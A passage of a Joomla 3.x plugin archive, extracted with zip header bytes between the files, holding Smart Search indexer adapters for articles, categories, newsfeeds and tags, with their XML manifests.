	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle articles here.
		if ($context === 'com_content.article' || $context === 'com_content.form')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled.
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format.  Not used.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		$item->setLanguage();

		// Check if the extension is enabled.
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->context = 'com_content.article';

		// Initialise the item parameters.
		$registry = new Registry($item->params);
		$item->params = clone JComponentHelper::getParams('com_content', true);
		$item->params->merge($registry);

		$item->metadata = new Registry($item->metadata);

		// Trigger the onContentPrepare event.
		$item->summary = FinderIndexerHelper::prepareContent($item->summary, $item->params, $item);
		$item->body    = FinderIndexerHelper::prepareContent($item->body, $item->params, $item);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Add the metadata processing instructions.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Translate the state. Articles should only be published if the category is published.
		$item->state = $this->translateState($item->state, $item->cat_state);

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Article');

		// Add the author taxonomy data.
		if (!empty($item->author) || !empty($item->created_by_alias))
		{
			$item->addTaxonomy('Author', !empty($item->created_by_alias) ? $item->created_by_alias : $item->author);
		}

		// Add the category taxonomy data.
		$item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access);

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.title, a.alias, a.introtext AS summary, a.fulltext AS body')
			->select('a.images')
			->select('a.state, a.catid, a.created AS start_date, a.created_by')
			->select('a.created_by_alias, a.modified, a.modified_by, a.attribs AS params')
			->select('a.metakey, a.metadesc, a.metadata, a.language, a.access, a.version, a.ordering')
			->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')
			->select('c.title AS category, c.published AS cat_state, c.access AS cat_access');

		// Handle the alias CASE WHEN portion of the query
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$case_when_category_alias = ' CASE WHEN ';
		$case_when_category_alias .= $query->charLength('c.alias', '!=', '0');
		$case_when_category_alias .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when_category_alias .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when_category_alias .= ' ELSE ';
		$case_when_category_alias .= $c_id . ' END as catslug';
		$query->select($case_when_category_alias)

			->select('u.name AS author')
			->from('#__content AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid')
			->join('LEFT', '#__users AS u ON u.id = a.created_by');

		return $query;
	}
}
PK�(]n��!((finder/content/content.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_content</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_CONTENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="content">content.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_content.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_content.sys.ini</language>
	</languages>
</extension>
PK�(]2���*�* finder/categories/categories.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Categories
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Smart Search adapter for Joomla Categories.
 *
 * @since  2.5
 */
class PlgFinderCategories extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Categories';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_categories';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'category';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'Category';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__categories';

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'published';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderDelete($context, $table)
	{
		if ($context === 'com_categories.category')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove item from the index.
		return $this->remove($id);
	}

	/**
	 * Smart Search after save content method.
	 * Reindexes the link information for a category that has been saved.
	 * It also makes adjustments if the access level of the category has changed.
	 *
	 * @param   string   $context  The context of the category passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the category has just been created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle categories here.
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the category item.
			$this->reindex($row->id);

			// Check if the parent access level is different.
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Smart Search before content save method.
	 * This event is fired before the data is actually saved.
	 *
	 * @param   string   $context  The context of the category passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the category is just about to be created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle categories here.
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level and the parent if the item isn't new.
			if (!$isNew)
			{
				$this->checkItemAccess($row);
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the category passed to the plugin.
	 * @param   array    $pks      An array of primary key ids of the category that has changed state.
	 * @param   integer  $value    The value of the state that the category has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle categories here.
		if ($context === 'com_categories.category')
		{
			/*
			 * The category published state is tied to the parent category
			 * published state so we need to look up all published states
			 * before we change anything.
			 */
			foreach ($pks as $pk)
			{
				$query = clone $this->getStateQuery();
				$query->where('a.id = ' . (int) $pk);

				$this->db->setQuery($query);
				$item = $this->db->loadObject();

				// Translate the state.
				$state = null;

				if ($item->parent_id != 1)
				{
					$state = $item->cat_state;
				}

				$temp = $this->translateState($value, $state);

				// Update the item.
				$this->change($pk, 'state', $temp);

				// Reindex the item.
				$this->reindex($pk);
			}
		}

		// Handle when the plugin is disabled.
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format.  Not used.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled.
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		// Check if the extension that owns the category is also enabled.
		if (JComponentHelper::isEnabled($item->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		$extension = ucfirst(substr($item->extension, 4));

		// Initialize the item parameters.
		$item->params = new Registry($item->params);

		$item->metadata = new Registry($item->metadata);

		/*
		 * Add the metadata processing instructions based on the category's
		 * configuration parameters.
		 */
		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Handle the link to the metadata.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'link');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');

		// Deactivated Methods
		// $item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Trigger the onContentPrepare event.
		$item->summary = FinderIndexerHelper::prepareContent($item->summary, $item->params);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $item->extension, $this->layout);

		$class = $extension . 'HelperRoute';

		// Need to import component route helpers dynamically, hence the reason it's handled here.
		JLoader::register($class, JPATH_SITE . '/components/' . $item->extension . '/helpers/route.php');

		if (class_exists($class) && method_exists($class, 'getCategoryRoute'))
		{
			$item->route = $class::getCategoryRoute($item->id, $item->language);
		}
		else
		{
			$item->route = ContentHelperRoute::getCategoryRoute($item->id, $item->language);
		}

		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		// Translate the state. Categories should only be published if the parent category is published.
		$item->state = $this->translateState($item->state);

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Category');

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load com_content route helper as it is the fallback for routing in the indexer in this instance.
		JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.title, a.alias, a.description AS summary, a.extension')
			->select('a.created_user_id AS created_by, a.modified_time AS modified, a.modified_user_id AS modified_by')
			->select('a.metakey, a.metadesc, a.metadata, a.language, a.lft, a.parent_id, a.level')
			->select('a.created_time AS start_date, a.published AS state, a.access, a.params');

		// Handle the alias CASE WHEN portion of the query.
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias)
			->from('#__categories AS a')
			->where($db->quoteName('a.id') . ' > 1');

		return $query;
	}

	/**
	 * Method to get a SQL query to load the published and access states for
	 * a category and its parents.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getStateQuery()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('a.id'))
			->select($this->db->quoteName('a.parent_id'))
			->select('a.' . $this->state_field . ' AS state, c.published AS cat_state')
			->select('a.access, c.access AS cat_access')
			->from($this->db->quoteName('#__categories') . ' AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.parent_id');

		return $query;
	}
}
PK�(]�y~:: finder/categories/categories.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_categories</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_CATEGORIES_XML_DESCRIPTION</description>
	<files>
		<filename plugin="categories">categories.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_categories.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_categories.sys.ini</language>
	</languages>
</extension>
PK�(]���44finder/newsfeeds/newsfeeds.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_newsfeeds</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="newsfeeds">newsfeeds.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_newsfeeds.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_newsfeeds.sys.ini</language>
	</languages>
</extension>
PK�(]�
=��'�'finder/newsfeeds/newsfeeds.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Newsfeeds
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Smart Search adapter for Joomla Newsfeeds.
 *
 * @since  2.5
 */
class PlgFinderNewsfeeds extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Newsfeeds';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_newsfeeds';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'newsfeed';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'News Feed';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__newsfeeds';

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'published';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to update the item link information when the item category is
	 * changed. This is fired when the item category is published or unpublished
	 * from the list view.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        An array of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderCategoryChangeState($extension, $pks, $value)
	{
		// Make sure we're handling com_newsfeeds categories.
		if ($extension === 'com_newsfeeds')
		{
			$this->categoryStateChange($pks, $value);
		}
	}

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_newsfeeds.newsfeed')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove the item from the index.
		return $this->remove($id);
	}

	/**
	 * Smart Search after save content method.
	 * Reindexes the link information for a newsfeed that has been saved.
	 * It also makes adjustments if the access level of a newsfeed item or
	 * the category to which it belongs has been changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the content has just been created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle newsfeeds here.
		if ($context === 'com_newsfeeds.newsfeed')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item.
			$this->reindex($row->id);
		}

		// Check for access changes in the category.
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Smart Search before content save method.
	 * This event is fired before the data is actually saved.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the content is just about to be created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle newsfeeds here.
		if ($context === 'com_newsfeeds.newsfeed')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		// Check for access levels from the category.
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      An array of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle newsfeeds here.
		if ($context === 'com_newsfeeds.newsfeed')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled.
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format.  Not used.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled.
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		// Initialize the item parameters.
		$item->params = new Registry($item->params);

		$item->metadata = new Registry($item->metadata);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = NewsfeedsHelperRoute::getNewsfeedRoute($item->slug, $item->catslug, $item->language);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		/*
		 * Add the metadata processing instructions based on the newsfeeds
		 * configuration parameters.
		 */
		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Handle the link to the metadata.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'link');

		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'News Feed');

		// Add the category taxonomy data.
		$item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access);

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('NewsfeedsHelperRoute', JPATH_SITE . '/components/com_newsfeeds/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.catid, a.name AS title, a.alias, a.link AS link')
			->select('a.published AS state, a.ordering, a.created AS start_date, a.params, a.access')
			->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')
			->select('a.metakey, a.metadesc, a.metadata, a.language')
			->select('a.created_by, a.created_by_alias, a.modified, a.modified_by')
			->select('c.title AS category, c.published AS cat_state, c.access AS cat_access');

		// Handle the alias CASE WHEN portion of the query.
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$case_when_category_alias = ' CASE WHEN ';
		$case_when_category_alias .= $query->charLength('c.alias', '!=', '0');
		$case_when_category_alias .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when_category_alias .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when_category_alias .= ' ELSE ';
		$case_when_category_alias .= $c_id . ' END as catslug';
		$query->select($case_when_category_alias)

			->from('#__newsfeeds AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid');

		return $query;
	}
}
PK�(]�fɯfinder/tags/tags.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_tags</name>
	<author>Joomla! Project</author>
	<creationDate>February 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_TAGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="tags">tags.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_tags.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_tags.sys.ini</language>
	</languages>
</extension>
PK�(]���5%5%finder/tags/tags.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Finder adapter for Joomla Tag.
 *
 * @since  3.1
 */
class PlgFinderTags extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $context = 'Tags';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $extension = 'com_tags';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $layout = 'tag';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $type_title = 'Tag';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $table = '#__tags';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $state_field = 'published';

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_tags.tag')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove the items.
		return $this->remove($id);
	}

	/**
	 * Method to determine if the access level of an item changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content has just been created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle tags here.
		if ($context === 'com_tags.tag')
		{
			// Check if the access levels are different
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item
			$this->reindex($row->id);
		}

		return true;
	}

	/**
	 * Method to reindex the link information for an item that has been saved.
	 * This event is fired before the data is actually saved so we are going
	 * to queue the item to be indexed later.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle news feeds here
		if ($context === 'com_tags.tag')
		{
			// Query the database for the old access level if the item isn't new
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle tags here
		if ($context === 'com_tags.tag')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format
	 *
	 * @return  void
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		// Initialize the item parameters.
		$registry = new Registry($item->params);
